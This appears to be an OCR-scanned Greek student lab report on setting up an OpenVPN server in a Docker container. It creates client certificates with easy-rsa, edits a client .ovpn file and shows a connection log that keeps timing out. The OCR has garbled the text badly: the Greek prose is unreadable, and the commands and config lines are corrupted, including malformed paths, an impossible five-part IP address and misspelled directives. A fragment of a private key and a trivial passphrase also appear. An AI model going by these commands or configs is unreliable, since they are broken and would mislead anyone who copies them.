leep 1

docker run --detach --name -v Jetc/openvpn --net --ip=172.50.0.2 -p 1194 /udp --cap-add=NET_AS

net.ipv4.1ip_forward=1

O K®OKOS Yo TNV dNpovpyio ¥pNOTN POIVETOL GTNV EIKOVOL:



GNU nano 2.9.3 create-user.sh Modified

USERNAME=test1l
vpn_data Jopenvpn-services/
docker-registry.vlabs.uniwa.gr:5080/myownvpn

docker run -v Jetcfopenvpn --rm -it easyrsa build-client-full nopass
docker run -v fetcfopenvpn --log-driver=none --rm ovpn_getclient

Avopadpuifovrog ta dwaidpato yio to apyeio create-vpn.sh kot yio to create-user.sh ( chmod 700 )
(MGTE VO UTOPOVLLE VOL TOL TPEEOVLLE KOl LETA TNV EKTEAEGT] TOVG EYOVLE:

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019

Using configuration from /fusr/share/easy-rsa/safessl-easyrsa.cnf

Enter pass phrase for /etc/openvpn/pki/private/ca.key:

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName :ASN.1 12:'127.0.8.1

Certificate is to be certified until Dec 30 23:29:15 2023 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019
Using configuration from /fusr/share/easy-rsa/safessl-easyrsa.cnf
Enter pass phrase for /etc/openvpn/pki/private/ca.key:

n updated CRL has been created.
CRL file: /etc/openvpn/pki/crl.pem

43716558a711a33160747dff656b98fe2cfbbald7a052c7f70508fe193509db5s
net.ipv4.ip_forward = 1
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
NAMES
43f16558a711  registry.vlabs.uniwa.gr:5080/myownvpn  "ovpn_run" 11 seconds ago Up 1 second 0.0.0.0:1194->11
94/udp swarmlab-vpn-services

omov PAémovpe To vpn pog swarmlab-vpn-services pe pass 1234.
Avtioctoya tpéyovpe 10 apyeio create-user.sh kot Eyovpe:



moill@ubuntu:~/swarmlab-sec/myproject/vpn 700 create-user.s
moil@ubuntu:~/swarmlab-sec/myproject/vpns ./create-user.sh

Using SS5L: openssl OpenSSL 1.1.1b 26 Feb 2019

L
Generating a RSA private key

Using configuration from fusrfsharefeasy-rsafsafessl-easyrsa.cnf

Enter pass phrase for fetc/openvpn/pki/private/ca.key:

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName :ASN.1 12:'testl'

Certificate is to be certified until Dec 30 23:40:48 2023 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

['a va cuvoeBobpe Tpémetl oto apyeio mov onpovpyndnke oto directory pog (testl.ovpn) va
mpocBécovpe TiG EENG YPOUUUES

client

nobind

dev tun

comp-lzo

resolv-retry infinite

keepalive 15 60

remote-cert-tls server
remote 192.168.1.5 1194 udp
float

GNU nano 2.9.3

client

nebind

‘dev tun

comp-lzo

resolv-retry infinite
keepalaive 15 60
remote-cert-tls server

remote 192.168.116.228.124 1194 udp
floatl

BEGIN PRIVATE KEY
MIIEwWAIBADANBgkghkiG9wOBAQEFAASCBKowggSmAgEAAOIB
CZLMGjFWvAPTUTL6QH3UbuSkcI02a9VK /u+HIPIHKWD2G3xC
Ged0pzQg2Tt3q7YyQeeZxnhdGKtootyvRhZg8K6PVeRb+1g7ll

AT e = -




[Ipwv ovvoebolpe 6To vpn pe TV €vToAn openvpn --config ./testl.ovpn Tpénel va €yKATAGTCOVLE
Ta avdAoya mokéto pe TNV evtoAn : sudo apt install openvpn

"Exovtoc akoiovOncel OAa o mopamdve Pripota ,0ev katapepo vo Kave 1o VPN va tpéyet
OTTOTEAEGLATIKA,

ri ]an 15 87: 54 14 2021 OpenVPN 2.4.4 x86 64-pc-linux- gnu [S5L (OpenSSL)]
[LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2019
ri Jan 15 07:54:14 2021 library versions: OpenSSL 1.1.1 11 Sep 2018, LZO
ri Jan 15 ©7:54:14 2021 TCP/UDP: Preserving recently used remote address:
IET]122 168.116.228:1194
Jan 15 67:54:14 2621 UDP link local: (not bound)
Jan 15 67:54:14 2021 UDP link remote: [AF_INET]122.168.116.228:1194
Jan 15 07:55:14 2021 [UNDEF] Inactivity timeout (--ping-restart), restarting
Jan 15 07:55:14 2021 SIGUSR1[soft,ping-restart] received, process restarting
Jan 15 07:55:19 2021 TCP/UDP: Preserving recently used remote address: [AF I
IET]122 168.116.228:1194
Jan 15 07:55:19 2821 UDP link local: (not bound)
Jan 15 ©7:55:19 2821 UDP link remote: [AF_INET]122.168.116.228:1194
Jan 15 67:56:19 20621 [UNDEF] Inactivity timeout (--ping-restart), restarting
Jan 15 67:56:19 2021 SIGUSR1[soft,ping-restart] received, process restarting
Jan 15 67:56:24 2021 TCP/UDP: Preserving recently used remote address: [AF_I
NET]122.168.116.228:1194
ri Jan 15 07:56:24 2021 UDP link local: (not bound)
ri Jan 15 07:56:24 2021 UDP link remote: [AF INET]122.168.116.228:1194
‘\CFri Jan 15 07:56:29 2021 event wait : Interrupted system call (code=4)
ri Jan 15 07:56:29 2021 SIGINT[hard,] received, process exiting




